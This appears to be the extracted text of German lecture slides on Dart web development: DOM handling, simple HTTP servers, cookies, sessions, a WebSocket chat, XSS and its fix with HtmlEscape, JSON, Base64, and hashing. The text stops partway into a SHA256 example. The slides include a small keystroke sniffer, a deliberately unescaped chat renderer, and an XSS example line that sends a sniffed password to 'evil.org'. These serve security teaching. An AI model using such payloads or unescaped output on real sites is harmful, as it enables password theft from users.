Funktionalitäten anbietet.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Dom examples</title>
<link rel="stylesheet" href="dom_examples.css">
</head>
<body>
<h1>Dom examples</h1>
<p class="intro">Hello world from Dart!</p>
<p id="output">Here you will see examples.</p>
<p>You could <em>click me</em> for example.</p>
<script type="application/dart"
src="dom_examples.dart"></script>
<script src="packages/browser/dart.js"></script>
</body>
</html>
56. Elemente im DOM selektieren (II)
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Praktische Informatik und betriebliche Informationssysteme
56
Oben stehendes Dart Programm selektiert das Element mit der Id output und
ersetzt es mit clientseitig erzeugtem HTML.
import 'dart:html';
void main() {
querySelector("#output").innerHtml = "<strong>Funny, I was created by Dart</strong>";
}
Ohne clientseitige Verarbeitung Mit clientseitiger Verarbeitung
57. Elemente im DOM selektieren (III)
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Praktische Informatik und betriebliche Informationssysteme
57
Mittels querySelector können Sie ein Element selektieren (und anschließend auslesen/
verarbeiten). Werden mehrere Elemente selektiert, wird nur das erste davon ausgewählt.
querySelectorAll wählt hingegen immer alle Elemente aus (das entspricht dem $ in jQuery).
import 'dart:html';
void main() {
querySelector("body p").innerHtml =
"<strong>Funny, I was created by
Dart</strong>";
}
querySelect querySelectAll
void main() {
querySelectorAll("p").forEach(
(HtmlElement e) => e.innerHtml =
"<strong>
Funny, I was created by Dart too
</strong>"
);
}
58. Elemente im DOM manipulieren (I)
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58
https://api.dartlang.org/apidocs/channels/stable/#dart-dom-html.HtmlElement
Selektoren selektieren Elemente des DOM-Tree und stellen sie im Datentyp HtmlElement zur
Verfügung. HtmlElement stellt Attribute und Methoden zur Verfügung um ein Element des DOM zu
ändern (hier ein Auszug der „wichtigsten“ Methoden/Attribute).
Methode/Attribute
void append{Html|Text}(String html) Fügt einem Element weiteren HTML/Text an.
Element querySelector[All](String
selector)
Selektiert relativ zum Element Unterelemente gem. des angegebenen
Selectors
void remove() Entfernt das Element aus dem DOM-Tree
Node replaceWith(Node other) Ersetzt das Element durch ein anderes Element
Node clone(bool deep) Erzeugt eine (Tiefen-)Kopie eines Knotens.
innerHtml Hiermit kann das innere HTML eines Elements gesetzt oder ausgelesen
werden.
attributes Liest/setzt die Attribute eines HTML Elements
style Liest/setzt CSS Style Attribute eines HTML Elements (bspw. background
oder padding/margin Eigenschaften)
id Liest/setzt die Id eines HTML Elements (<p id=“me“></p>)
classes Liest/setzt die Klassen eines HTML Elements
(<p class=“important error“></p>)
59. Elemente im DOM manipulieren (II)
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Praktische Informatik und betriebliche Informationssysteme
59
<h1>Dom examples</h1>
<p class="intro">Hello world from Dart!</p>
<p id="output">Here you will see examples.</p>
<p>You could <em>click me</em> for example.</p>
.highlight {
background: rgba(255, 0, 0, 0.25);
}
querySelector("p em").classes.add("highlight");
60. Elemente im DOM manipulieren (III)
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
60
<h1>Dom examples</h1>
<p class="intro">Hello world from Dart!</p>
<p id="output">Here you will see examples.</p>
<p>You could <em>click me</em> for example.</p>
.highlight {
background: rgba(255, 0, 0, 0.25);
}
final n1 = querySelector(".intro");
final n2 = querySelector("#output");
n1.classes.add("highlight");
n2.classes.add("highlight");
n1.replaceWith(n2.clone(true));
n2.replaceWith(n1.clone(true));
61. Auf Ereignisse des DOM reagieren
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Praktische Informatik und betriebliche Informationssysteme
61
https://api.dartlang.org/apidocs/channels/stable/
#dart-dom-html.HtmlElement
Elemente des DOM-Trees können mit sogenannten Event Handlern
(Auszug aller möglichen, siehe rechts) versehen werden.
Hierzu wird ein Closure mit einem Event Stream verknüpft. Jedes mal,
wenn nun ein Event durch den Browser ausgelöst wird, wird dieses an die
registrierte Closure weitergereicht und kann dort verarbeitet werden.
querySelectorAll("p").onMouseEnter.listen((MouseEvent e) {
(e.target as HtmlElement).classes.toggle("highlight");
});
querySelectorAll("p").onMouseLeave.listen((MouseEvent e) {
(e.target as HtmlElement).classes.toggle("highlight");
});
EventStream
Event Handler (closure)
62. Beispiel: Keyboard Sniffer (I)
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
62
Ein Keyboard Sniffer, der alle
Tastendrucke, die innerhalb des
Browserfensters „mitschneidet“,
lässt sich hiermit recht einfach
entwickeln.
<h1>Hello, my name is Sniffer</h1>
<h2>Keyboard Sniffer</h2>
<p>I will copy every key you hit into the following paragraph.</p>
<p id="sniffer“></p>
<script type="application/dart" src="dom_examples_keyboard.dart"></script>
<script src="packages/browser/dart.js"></script>
63. Beispiel: Keyboard Sniffer (II)
Prof. Dr. rer. nat. Nane Kratzke
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63
Und so funktioniert er ... (ein Vierzeiler).
final e = querySelector("#sniffer");
window.onKeyDown.listen((KeyboardEvent ev) {
e.appendText(new String.fromCharCode(ev.keyCode));
});
Wie Sie (gesniffte) Daten an einen anderen
Server bekommen, dazu gleich mehr ...
64. Zusammenfassung
Die wichtigsten Methoden/Klassen aus dart:html
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
64
Mittels querySelector oder querySelectorAll können Sie
HtmlElemente des DOM-Trees mittels CSS Selektoren selektieren
und über folgende Methoden/Attribute und EventStreams auswerten/
verändern..
Methoden
appendHtml()
appendText()
remove()
clone()
replaceWith()
Attribute
innerHtml
id
classes
style
attributes
EventStreams
onMouse...
onKey...
onChange
onClick
https://api.dartlang.org/apidocs/channels/stable/#dart-dom-html.HtmlElement
65. Miniübung:
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65
<h1>Table heatmap</h1>
<table class="heatmap">
<tr>
<td>A</td><td>B</td><td>C</td><td>D</td>
</tr>
<tr>
<td>E</td><td>F</td><td>G</td><td>H</td>
</tr>
<tr>
<td>I</td><td>J</td><td>K</td><td>L</td>
</tr>
<tr>
<td>M</td><td>N</td><td>O</td><td>P</td>
</tr>
</table>
Gegeben sei folgendes HTML Dokument:
Verfolgen Sie bitte MouseOver Events
derart, dass diejenigen
Tabellenelemente einen umso roteren
Hintergrund bekommen, je mehr
MouseOver Events sie erhalten haben
(desto häufiger die Maus darüber war).
Die Farbdarstellung soll relativ sein.
Das Element mit den meisten
MouseOver Events soll die Farbe
rgba(255, 0, 0, 1.0) erhalten.
66. Miniübung:
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Praktische Informatik und betriebliche Informationssysteme
66
Die Farbdarstellung soll relativ sein. Das Element mit den meisten
MouseOver Events soll die Farbe rgba(255, 0, 0, 1.0) erhalten.
Alle anderen Tabellenelemente sollen eine dazu relative Transparenz
bekommen (und dadurch heller erscheinen).
D.h. hat das Element Emax mit den meisten MouseOver Events z.B. 17
gezählte Events und ein anderes Element EX drei gezählte MouseOver
Events, so soll EX die Farbe rgba(255, 0, 0, 0.176) erhalten (0.176 ==
3/17).
Sie können über die Properties attributes und style auf Attribute
und Styles von HtmlElementen lesend und schreibend zugreifen.
HtmlElement elem;
[...]
final i = int.parse(elem.attributes['n'];
e.style.background = "rgba(255, 0, 0, 0.15)"
67. Miniübung:
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
67
// Speichere dir die maximale Anzahl an MouseOver Events
int max = 0;
// Erfasse alle MouseOver Events von <td> Elementen in Tabellen der Klasse heatmap
querySelectorAll(".heatmap td").onMouseOver.listen((MouseEvent e) {
HtmlElement elem = e.target; // Bestimme das ausloesende Element
// Lese die mitgezaehlten MouseOver Events aus (Attribute im DOM Tree sind immer Strings!)
final i = int.parse(elem.attributes['n'] == null ? "0" : elem.attributes['n']);
// Neues Maximum?
max = max > i + 1 ? max : i + 1;
// Zaehle das aktuelle MouseOver Event mit (Attribute im DOM Tree sind immer Strings!)
elem.attributes['n'] = "${i + 1}";
// Berechne die relative Transparenz aller Elemente der Tabelle neu
querySelectorAll(".heatmap td").forEach((HtmlElement e) {
final n = int.parse(e.attributes['n'] == null ? "0" : e.attributes['n']);
e.style.background = "rgba(255, 0, 0, ${n/max})";
});
});
68. Tour de Dart Libraries
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding JSON,
HTML and more
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68
69. Ein sehr einfacher HttpServer
mit dart:io
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69
import 'dart:io';
void main() {
int i = 0; // Requestzaehler (seit Serverstart)
HttpServer.bind("0.0.0.0", 8080).then((server) { // Erstellen eines HttpServers
server.listen((HttpRequest request) {
final answer = // Antwort in Form eines HTML Dok.
"<html>"
" <head><title>HTML Hello form Dart Server</title></head>"
" <body>"
" <h1>HTML Hello form Dart Server</h1>"
" <p>This is my ${++i} request.</p>"
" </body>"
"</html>";
request.response.headers.add('Content-Type', 'text/html; charset=UTF-8');
request.response.writeln(answer);
request.response.close(); // Request bearbeitet
});
});
}
70. Ein sehr einfacher HttpServer
mit dart:io
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Praktische Informatik und betriebliche Informationssysteme
70
Da die Entwicklung serverbasierter Applikationen mit der
Klasse HttpServer stellenweise nicht immer pragmatisch
ist, bietet es sich an, auf Frameworks zurückzugreifen.
In der Ruby Welt gibt es dafür bspw.
• Rails (http://rubyonrails.org/)
• bzw. das leichtgewichtigere Sinatra (http://http://
www.sinatrarb.com/).
Beides populäre Frameworks zum Entwickeln von
serverbasierten Applikationen.
Ein an Sinatra angelehntes Framework in der Dart Welt ist
start. Daher werden die folgenden serverbasierten Aspekte
am Beispiel dieses Frameworks erläutert.
Hinweis: Mit Rikulo
Stream steht ein
mächtigeres aber auch
komplexeres Framework
zur Verfügung.
http://rikulo.org/
projects/streamhttps://pub.dartlang.org/packages/start
71. Ein statischer HTTP Server mit start
Ein Zweizeiler (den Rest erledigt pub)
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Praktische Informatik und betriebliche Informationssysteme
71
import 'package:start/start.dart';
main() {
start(port: 8080).then((Server app) {
// Starte Server auf Port 8080
app.static('../web');
// Directory aus dem statische
// Inhalte bereitgestellt werden
// sollen
});
}
72. Unser Eingangsbeispiel mit start
Prof. Dr. rer. nat. Nane Kratzke
Praktische Informatik und betriebliche Informationssysteme
72
import 'package:start/start.dart';
main() {
start(port: 8080).then((Server app) { // Starte Server auf Port 8080
var i = 0; // Requestzaehler seit Serverstart
app.get("/").listen((Request req) { // Handler für alle get Requests auf /
final answer =
"<html>"
" <head><title>Hello form Start Server</title></head>"
" <body>"
" <h1>HTML Hello form Start Server</h1>"
" <p>This is my ${i++} request.</p>"
" </body>"
"</html>";
req.response.header('Content-Type', 'text/html; charset=UTF-8');
req.response.send(answer); // Antwort senden
});
});
}
73. Formulare auswerten mit start
Method: GET
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Praktische Informatik und betriebliche Informationssysteme
73
import 'package:start/start.dart';
main() {
start(port: 8080).then((Server app) {
app.get("/formular").listen((Request req) {
// Parameter aus dem Request auslesen
final name = req.param("first name");
final answer =
[...]
"<h1>Hello $name, please insert another name</h1>"
"<form action='/formular' method='get'>"
" First name: <input type='text' name='first name'>"
" <input type='submit'>"
"</form>"
[...]
req.response.header('Content-Type', 'text/html; charset=UTF-8');
req.response.send(answer);
});
});
}
74. Unsere App benötigt nun zwei Handler. Einen get Handler (für die erstmalige Darstellung
des Formulars und einen post Handler für die eigentliche Verarbeitung der
Formulardaten).
Die Formulargenerierung benötigen wir nun an zwei Stellen. Gem. DRY lagern wir sie
daher besser in eine eigene Funktion aus.
Formulare auswerten mit start
Method: POST (I)
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Praktische Informatik und betriebliche Informationssysteme
74
start(port: 8080).then((Server app) {
app.post("/formular").listen((Request req) { // Formulardaten per POST
req.response.header('Content-Type', 'text/html; charset=UTF-8');
req.payload().then((params) { // Parameter aus Req. Body holen
final fn = params['firstname'];
final ln = params['lastname'];
req.response.send(renderForm("$fn $ln"));
});
});
app.get("/formular").listen((Request req) { // Formulardaten per GET
req.response.header('Content-Type', 'text/html; charset=UTF-8');
req.response.send(renderForm());
});
});
75. Die Formulargenerierung kann bspw. so
gekapselt werden.
Formulare auswerten mit start
Method: POST (II)
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75
String renderForm([String name = ""]) {
return
"<html>"
"<head><title>Formularbeispiel</title>"
"<meta charset='UTF8'>"
"<body>"
"<h1>Hello $name, please insert another name</h1>"
"<form action='/formular' method='post'>"
" First name: <input type='text' name='firstname'>"
" Last name: <input type='text' name='lastname'>"
" <input type='submit'>"
"</form>"
"</body>"
"</html>";
}
76. Die Formulargenerierung kann bspw. so
gekapselt werden.
Zustände clientseitig speichern und
serverseitig auslesen mit Cookies
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76
start(port: 8080).then((Server app) {
app.get("/formular").listen((Request req) {
[...]
final cookies = new Map.fromIterable( // Alle gesendeten Cookies des
// Req. auslesen
req.cookies.map((Cookie c) => [c.name, c.value]),
key: (kv) => kv[0]),
value: (kv) => kv[1])
);
final prevFirstName = cookies['firstname']; // Relevante Cookies auslesen
final prevLastName = cookies['lastname'];
[...]
// Cookies beim Client setzen
req.response.cookie('firstname', '$fname');
req.response.cookie('lastname', '$lname');
[...]
});
});
77. Sessions können in Dart mittels HttpSession Objekten gespeichert und verwaltet werden (letztlich
Maps). Diese können auf folgende Art aus Start heraus ausgelesen und gesetzt werden.
Zustände serverseitig speichern und
auslesen mit Sessions (I)
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77
start(port: 3000).then((Server server) {
server.get("/form").listen((Request req) {
final actualFirstName = req.param("firstname"); // GET Parameter auslesen
final actualLastName = req.param("lastname");
final previousFirstName = req.session["first name"]; // Session data auslesen
final previousLastName = req.session["last name"];
req.session["first name"] = actualFirstName; // Session data setzen
req.session["last name"] = actualLastName;
req.response.header('Content-Type', 'text/html; charset=UTF-8');
req.response.send(
form(actualFirstName, actualLastName, previousFirstName, previousLastName)
);
});
});
https://api.dartlang.org/apidocs/channels/stable/#dart-io.HttpSession
78. Die Implementierung der form() Methode.
Zustände serverseitig speichern und
auslesen mit Sessions (II)
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78
String form([String fn = "", String ln = "", String pfn = "", String pln = ""]) {
return
"<html>"
"<head><title>This is a session example</title></head>"
"<body>"
"<h1>Hello $fn $ln</h1>"
"<p>Please insert another name</p>"
"<form action='/form' method='get'>"
" <label>First name:</label><input type='text' name='firstname' value='$pfn'>"
" <label>Last name:</label><input type='text' name='lastname' value='$pln'>"
" <input type='submit' value='Send'>"
"</form>"
"</body>"
"</html>";
}
79. Zusammenfassung
Die wesentlichen Klassen und ihre Methoden zur serverseitigen
Programmierung mit Start
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79
Details: https://github.com/lvivski/start
80. Web Sockets
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80
„Das WebSocket-Protokoll ist ein auf TCP
basierendes Netzwerkprotokoll, das entworfen
wurde, um eine bidirektionale Verbindung
zwischen einer Webanwendung und einem
WebSocket-Server bzw. einem Web-Server, der
auch WebSockets unterstützt, herzustellen. [...]
Zudem entfallen bei WebSockets die durch den
HTTP-Header verursachten zusätzlichen Daten,
die bei jeder Anfrage einige Hundert Bytes
umfassen können.“
Wikipedia: https://
de.wikipedia.org/wiki/WebSocket
81. Beispiel: Ein einfacher Chat
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81
(1) Client besteht aus einem
einfachen Formular, mit dem sich ein
Nutzer einen Chatnamen wählen
kann.
(2) und Posts an alle senden kann,
die an einem Websocket lauschen.
(3) Server bietet einen Websocket
an, mit dem Messages von Chatusern
empfangen und alle Clients
weitergeleitet werden, die
Beispiel zu finden unter:
https://github.com/nkratzke/dartchat
http://pub.dartlang.org/packages/dartchat
82. Beispiel: Ein einfacher Chat
auf Basis von WebSockets
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82
Post
List<Post>
SERVER
CHAT CLIENTS
83. Beispiel: Ein einfacher Chat
Hier: Server
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83
import 'package:start/start.dart'; import 'dart:io';
main() {
start(port: 3000).then((Server app) {
// Alle Verbindungen in einer Liste verwalten ...
final sockets = <WebSocket>[];
// Wir nutzen start, um statischen Content (z.B. unseren
// Client, ist ja nur ein HTML Dokument) auszuliefern
app.static("../build/web/");
// Hier nehmen wir eingehende Socketanfragen an
app.get("/messages").listen((Request req) {
// wandeln sie in einen WebSocket
WebSocketTransformer.upgrade(req.input).then((ws) {
sockets.add(ws); // speichern sie uns,
// und leiten eingehende Messages an alle anderen
// WebSockets weiter.
ws.listen((msg) => sockets.forEach((ws) => ws.add(msg)));
});
});
});
}
84. Beispiel: Ein einfacher Chat
Hier: Client
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84
#name
#chat
#notify
#message
#chatname
85. Beispiel: Ein einfacher Chat
Hier: Client (HTML Definition)
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85
<body>
<div class="container">
<h1>
Chart <small>a Dart chat</small>
</h1>
<h2>Please enter your name:</h2>
<input id='name' type='text'>
<div id="chat"></div>
<label><span id='chatname'></span> post something into the chat: </label>
<input id='message' type='text'>
<div id=’notify'></div>
</div>
<script type='application/dart' src='chartclient.dart'></script>
<script src='js/dart.js'></script>
</body>
86. Beispiel: Ein einfacher Chat
Hier: Client (Dart Logik, Elemente)
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86
import 'dart:html';
import 'package:chart/chart.dart';
main() {
// Die Interaktions-Elemente mit dem DOM-Tree
final HtmlElement chatname = querySelector("#chatname");
final InputElement input = querySelector("#message");
final InputElement name = querySelector("#name");
final DivElement chat = querySelector("#chat");
final DivElement notify = querySelector("#notify");
// Wir bauen uns einen Socket auf.
final WebSocket chatSocket = new WebSocket(
“ws://${window.location.host}/messages“
);
// Hier speichern wir uns den Namen des/der Chatters/in
var chatter = "";
[...]
}
87. Beispiel: Ein einfacher Chat
Hier: Client (Dart Logik, Event Handler I)
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87
import 'dart:html';
import 'package:chart/chart.dart';
main() {
[...]
// Wann immer etwas in das Namensfeld eingegeben wird
name.onInput.listen((_) {
chatter = name.value;
chatname.innerHtml = chatter;
});
[...]
// Wann immer auf unserem Socket eine Nachricht eingeht
chatSocket.onMessage.listen((msg) {
final message = new ChartMessage.fromJSON(msg.data);
chat.appendHtml("<p>${message.html}</p>");
chat.scrollByLines(1000);
});
}
88. Beispiel: Ein einfacher Chat
Hier: Client (Dart Logik, Event Handler II)
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88
main() {
// Wann immer etwas in #message eingegeben wird
input.onKeyPress.listen((KeyboardEvent ev) {
if (new KeyEvent.wrap(ev).keyCode != KeyCode.ENTER) return;
if (chatter == "") {
notify.innerHtml = error("Select a name ...");
name.focus();
return;
}
if (input.value == "") {
notify.innerHtml = error("No message ...");
return;
}
if (chatSocket.readyState != WebSocket.OPEN) {
notify.innerHtml = error("Sorry, no connection");
return;
}
final msg = new ChartMessage(chatter, input.value);
input.value = "";
chatSocket.send(msg.json);
notify.innerHtml = "";
});
}
89. Beispiel: Ein einfacher Chat
Hier: Client (Dart Logik, „Datenmodel“)
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89
library chart;
import 'dart:convert';
class ChartMessage {
String _from;
String _msg;
ChartMessage.fromJSON(msgAsJSON) {
final map = JSON.decode(msgAsJSON);
_from = map['from'];
_msg = map['msg'];
}
ChartMessage(this._from, this._msg);
String get json => '{ "from" : "$_from", "msg" : "$_msg" }';
String get html => "<strong>[$_from]</strong> $_msg";
}
Eine ChartMessage
definiert eine
Chatnachricht (Zeile
im Chatfenster).
90. Do you know: Cross Site Scripting?
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90
<a href=‘http://www.ard.de‘>ARD</a>
Was passiert, wenn wir in
den Chat eine Zeichenkette
mit HTML Bedeutung
eingeben?
[Nane] ARD
91. Do you know: Cross Site Scripting?
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91
<script>var pwd = sniffPwd(); send(pwd, ‘http://evil.org‘);</script>
Was wäre, wenn jemand ein
JavaScript Snippet zum
Passwort-Sniffen eingeben
würde?
[Nane]
92. Beispiel: Ein einfacher XSS Angriff
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92
Sniffer
Sniffer
Sniffer
Sniffer
http://evil.org
pwd
pwd
pwd
93. Dieser Effekt wird auch Cross Site
Scripting (XSS) genannt
• Es lässt sich so über Formulare
• beliebiger Script Code (z.B. JavaScript Code)
• Adressbuch durchsuchen?
• Tastatureingaben protokollieren (um Ihre Passwörter auszuspähen)
• beliebiger HTML Code
• z.B. Links auf Phishing Seiten, um Sie unbemerkt von Ihrer Online Banking Site auf
eine Seite umzulenken, die nur so aussieht, wie die der vertrauenswürdigen
Deutschen Bank.
• z.B. weitere Formulare zur Abfrage Ihrer Kontodaten mit action Handlern auf ganz
anderen Servern
• einschleusen (per Chat an andere weiterverteilen).
• Wird eine Formular-Eingabe gar in einer Datenbank gespeichert, ist
sie sogar persistent und kann durch andere mit zeitlichem Abstand
aufgerufen werden (z.B. in Forenbeiträgen)
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93
94. HTML Injection
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94
Es gilt also zu vermeiden, dass ein Chat Nutzer Texte mit HTML
Bedeutung in das System „injezieren“ kann
(und somit bspw. auch beliebige JavaScript oder auch Dart Skripte [wenn die Browser
das mal endlich können :-]).
95. HTML Injection
Wo liegt hier die Problemstelle?
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95
library chart;
import 'dart:convert';
class ChartMessage {
String _from;
String _msg;
ChartMessage.fromJSON(msgAsJSON) {
final map = JSON.decode(msgAsJSON);
_from = map['from'];
_msg = map['msg'];
}
ChartMessage(this._from, this._msg);
String get json => '{ "from" : "$_from", "msg" : "$_msg" }';
String get html => "<strong>[$_from]</strong> $_msg";
}
Diese Stellen sind
problematisch, da hier
HTML erzeugt wird, dass
auf nicht geprüften
Nutzereingaben beruht.
Messages kommen von
den Nutzern! Und Nutzer
sind böse!
96. Arrrrgh ...
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96
Wie bekommen wir denn so etwas in den Griff?
Dazu gibt es dart:convert ...
97. Tour de Dart Libraries
dart:library
Das Library System
von Dart
dart:async
Asynchronous
Programming
dart:io
Files, Directories
dart:html
Manipulating the
DOM
dart:servers
HTTP Clients and
Servers
dart:convert
Decoding and
Encoding HTML,
JSON and more
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97
98. Encoding und Decoding
• Escapen von HTML
(Cross Site Scripting)
• Encoding und
Decoding von JSON
• Base64 Encoding
und Decoding (inkl.
UTF8 Encoding und
Decoding)
• Hashsummen
(SHA256)
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98
99. HtmlEscape
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99
import 'dart:convert';
/**
* Methode zum Escapen von Zeichen mit HTML-Bedeutung.
* Liefert eine Zeichenkette die in einem HTML DOM-Tree
* nur noch eine Bedeutung als Textnode haben kann.
*/
String escape(String unsafe) {
final sanitize = const HtmlEscape();
return sanitize.convert(unsafe);
}
// Ein normaler String
final normal = "Ein normaler String.";
// Ein String mit HTML Bedeutung (Tags.)
final html = "Ein <em>normaler</em> String.";
assert(escape(normal) == normal);
assert(escape(html) == "Ein <em>normaler</em> String.");
Mittels der Funktion
escape() können
sie also Eingaben
von einem Nutzer
(nie als vertrauens-
würdig zu behandeln)
so umwandeln, dass
sie nur noch eine
Textbedeutung, aber
keine HTML
Bedeutung haben.
Dadurch unterbinden
sie Cross Site
Scripting Attacken
(da auch JavaScript
dadurch seine
Bedeutung verliert).
100. Ein sicherer Chat
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100
// Wann immer auf unserem Socket eine Nachricht eingeht
chatSocket.onMessage.listen((msg) {
final message = new ChartMessage.fromJSON(msg.data);
chat.appendHtml("<p>${message.html}</p>");
chat.scrollByLines(1000);
});
Das Problem in unserer clientseitigen Chatimplementierung war folgender
Eventhandler. Dieser führt dazu, dass Posts von Nutzern ungefiltert in den
DOM-Tree eingebaut werden. Posts mit HTML Bedeutung werden so ggf.
umgesetzt (JavaScript evtl. ausgeführt!).
Wir können das Problem bspw. In der ChartMessage Klasse lösen und
Posts mit ggf. vorhandenem „Schadcode“ entschärfen.
String get html => "<strong>[${escape(_from)}]</strong> ${escape(_msg)}";
String get html => "<strong>[$_from]</strong> $_msg";
indem wir Nutzereingaben _from und _msg einer Message bevor wir sie in
HTML wandeln mittels escape() entschärfen.
101. Security First (be Dr. House)
Paranoia ist nicht immer schlecht ...
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Praktische Informatik und betriebliche Informationssysteme
101
Hinweis: Dart nutzt zwar clientseitig sanitize automatisch bei allen
Methoden, die im DOM Tree etwas ändern, es sei denn sie wollen
explizit HTML hinzufügen (bspw. mit appendHtml()), dann sind sie
selber verantwortlich für das escapen.
Serverseitig müssen sie jedoch immer escapen, wenn sie HTML
erzeugen und bspw. Daten die von Nutzern eingegeben wurden aus
Cookies, Sessions oder Queryparametern auslesen!
Ansonsten bauen Sie XSS-Sicherheitslücken!
• Frei nach Dr. House:
• Alle Nutzer sind böse, lügen, betrügen und
wollen Deinem Server etwas Böses.
• Traue keiner Nutzereingabe,
• die nicht auf dem eigenen Server geprüft,
gefiltert
• und für unschädlich befunden wurde
• bzw. unschädlich gemacht wurde.
102. JSON Notation
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Praktische Informatik und betriebliche Informationssysteme
102
Die JavaScript Object Notation, kurz JSON, ist ein kompaktes Datenformat in für Mensch und
Maschine einfach lesbarer Textform zum Zweck des Datenaustauschs zwischen Anwendungen.
JSON kennt
• Listen und
• Objekte (Mappings) sowie die primitiven Datentypen
• null (Nullwert),
• ganzzahlige Werte und Fließkommawerte (in der üblichen Notation)
• und Zeichenketten.
JSON ist unabhängig von der Programmiersprache JavaScript. Parser existieren in praktisch allen
verbreiteten Sprachen (z.B. für Dart ;-).
Da dies so ist, ist es mittlerweile ein beliebtes Format auch komplex strukturierte Daten zwischen Web
Information Systems auszutauschen. Im Gegensatz zu XML (was für einen vergleichbaren Zweck
konzipiert wurde) ist es aber kürzer, effizienter und übersichtlicher als XML (allerdings nicht so
mächtig).
Da es aber die zwei wesentlichen Datenstrukturen der Informatik (Listen und Mappings) unterstützt, ist
es für die meisten Anwendungsfälle ausreichend und zumeist hinsichtlich der Komplexität besser als
XML beherrschbar. Zudem bleibt es für den Menschen lesbar und verbraucht weniger Datenvolumen
bei Datenübertragungen als XML.
103. JSON Notation in a Nutshell
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103
Datentyp Literal Erläuterung
Nullwert null Wird durch das Schlüsselwort null dargestellt.
Boolescher Wert true,
false
Wird durch die Schlüsselwörter true und false dargestellt. Dies sind keine
Zeichenketten. Sie werden daher, wie null, nicht in Anführungszeichen gesetzt.
Zahl 0-9 Ist eine Folge der Ziffern 0–9. Diese Folge kann durch ein negatives Vorzeichen
- eingeleitet und einen Dezimalpunkt . unterbrochen sein. Die Zahl kann durch
die Angabe eines Exponenten e oder E ergänzt werden, dem ein Vorzeichen +
oder - und eine Folge der Ziffern 0–9 folgt.
Zeichenkette ““ Beginnt und endet mit doppelten geraden Anführungszeichen ("). Sie kann
Unicode-Zeichen und Escape-Sequenzen enthalten.
Liste [] Beginnt mit [ und endet mit ]. Es enthält eine durch Komma getrennte,
geordnete Liste von Werten, gleichen oder verschiedenen Typs. Leere Listen
sind zulässig.
Objekt (Mapping) {} Beginnt mit { und endet mit }. Es enthält eine durch Komma getrennte,
ungeordnete Liste von Eigenschaften. Objekte ohne Eigenschaften ("leere
Objekte") sind zulässig.
Eigenschaft key:val Besteht aus einem Schlüssel und einem Wert, getrennt durch einen
Doppelpunkt (key:val). Die Schlüssel aller Eigenschaften in einem Objekt
müssen eindeutig, also paarweise verschieden sein.
• Der Schlüssel (key) ist eine Zeichenkette.
• Der Wert (val) ist ein Objekt, eine Liste, eine Zeichenkette, eine Zahl oder
einer der Literale true, false oder null.
InAnlehnunganWikipedia:
http://de.wikipedia.org/wiki/JavaScript_Object_Notation
104. JSON.decode, JSON.encode
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104
// Dies ist einfach nur ein String
final json =
'['
'{"from":"Nane","msg":"Hello World"},'
'{"from":"Tessa","msg":"Hello again"},’
'{"from":"Nane","msg":"Nice to meet you"},’
'{"from":"Tessa","msg":"It is a pleasure"},’
'{"from":"Nane","msg":"You are welcome"}’
']';
// Dies ist eine Dart Datenstruktur
final dart =
[
{ "from": "Nane", "msg" : "Hello World" },
{ "from": "Tessa", "msg" : "Hello again" },
{ "from": "Nane", "msg" : "Nice to meet you" },
{ "from": "Tessa", "msg" : "It is a pleasure" },
{ "from": "Nane", "msg" : "You are welcome" }
];
assert("$dart" == "${JSON.decode(json)}");
assert(json == JSON.encode(dart));
JSONSTRING => Dart Datastructure
Mittels JSON.decode() können wir eine
valide JSON Zeichenkette in eine aus
Mappings und Listen basierende Dart-
Datenstruktur wandeln.
Dart Datastructure => JSONSTRING
Mittels JSON.decode() können wir eine
aus Mappings und Listen basierende
Dart-Datenstruktur in eine valide JSON
Zeichenkette wandeln.
105. Base64
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105
„Base64 beschreibt ein Verfahren zur Kodierung von 8-Bit-Binärdaten
(z. B. ausführbare Programme, ZIP-Dateien oder Bilder) in eine
Zeichenfolge, die nur aus lesbaren, Codepage-unabhängigen ASCII-
Zeichen besteht.“
Quelle: Wikipedia, https://de.wikipedia.org/wiki/Base64
Da im Internetumfeld häufig rein textbasierte (7-Bit ASCII) Protokolle existieren
(z.B. EMail) kann Base64 dazu genutzt werden, Binärdaten textbasiert zu
übertragen.
Nachteil: Der Datenverbrauch steigt dabei um etwa ein Drittel.
106. CryptoUtils.bytesToBase64(),
UTF8.encode()
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106
Aus Gründen der Einfachheit zeigen wir die Umwandlung in die Base64 Codierung am
Beispiel eine Zeichenkette (auch wenn Base64 für Binärdaten) gedacht ist. Hierzu
müssen wir eine Zeichenkette erst in bytes und dann in das Base64 Format umwandeln.
import 'dart:convert';
import 'package:crypto/crypto.dart';
main() {
final bytes = UTF8.encode("Hello World"); // String to bytes
final base64 = CryptoUtils.bytesToBase64(bytes);
print("Hello World => $base64");
}
Hello World => SGVsbG8gV29ybGQ=
Dies ergibt auf der Konsole:
107. CryptoUtils.base64StringToBytes(),
UTF8.decode
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107
Auch der umgekehrte Weg geht natürlich.
import 'dart:convert';
import 'package:crypto/crypto.dart';
main() {
final BASE64 = "SGVsbG8gV29ybGQ=";
final BYTES = CryptoUtils.base64StringToBytes("SGVsbG8gV29ybGQ=");
final helloWorld = UTF8.decode(BYTES); // bytes to String
print("$BASE64 => $helloWorld");
}
SGVsbG8gV29ybGQ= => Hello World
Dies ergibt auf der Konsole:
108. Hashsummen
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108
Eine kryptografische Hashfunktion ist eine Funktion, die eine Input-
Zeichenfolge beliebiger Länge auf eine Output-Zeichenfolge mit fester
Länge abbildet. Es ist sehr aufwändig von der Output-Zeichenfolge
auf die Input-Zeichenfolge zurückzurechnen (idealerweise nur per
Brute Force).
Dadurch eignen sich Hashfunktionen sehr gut, um „Fingerabdrücke“
von Texten zu bestimmen. Wird ein Text nur in einem Zeichen geändert,
hat es sofort einen anderen „Fingerabdruck“ (eine andere
Hashsumme). Mehr dazu in der Wahlpflichtveranstaltung Kryptologie.
Dart bietet mehrere Hashfunktionen in der CryptoUtils Bibliothek.
Das Prinzip soll am Beispiel der SHA256 Hashfunktion verdeutlicht
werden.
109. SHA256 Hashsummen (I)
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109
import 'package:crypto/crypto.dart';
import 'dart:convert';
String sha256(String input) {
